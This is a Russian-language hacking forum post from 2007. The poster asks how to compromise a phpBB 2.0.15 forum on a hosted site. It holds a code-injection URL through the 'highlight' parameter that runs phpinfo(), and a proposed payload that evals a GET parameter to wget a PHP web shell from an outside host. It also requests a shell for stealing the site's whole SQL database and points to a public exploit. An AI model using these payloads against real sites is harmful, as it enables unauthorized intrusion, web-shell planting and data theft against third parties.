Тема: h15 mySQL
Показать сообщение отдельно

  #9  
Старый 22.11.2007, 04:58
am@tory
Познающий
Регистрация: 08.01.2007
Сообщений: 59
С нами: 10178781

Репутация: 44
По умолчанию

Помогите плз.
phpbb 2.0.15
Вообщем вот что мне удалось узнать

http://site.h15.ru/forum//viewtopic.php?t=&highlight='.phpinfo().'

Put_phpinfo: [/home/b/site.h15.ru/WWW/forum//viewtopic.php]

Смогу ли я залить шелл таким запросом???

http://site.h15/forum/viewtopic.php?&cmd=wget http://shells//fuck.php;&highlight='.eval($HTTP_GET_VARS[cmd]).'

Или нет???
Ответьте плз..

И еще огромная просьба, кто может дать шел, чтобы стибрить всю sql, зная логин и пасс???

Если я не прав, то плз подробно опишите куда, как, что и как потом достать)))

Вообще пробывал заюзать сплойт
http://milw0rm.com/exploits/1076
Не смог, т не знаю какой командой залить шел, оп пристал ко мне с табличкой вида
site.h15.ru/forum/$ а что написать я незнаю....

Последний раз редактировалось am@tory; 22.11.2007 в 05:06..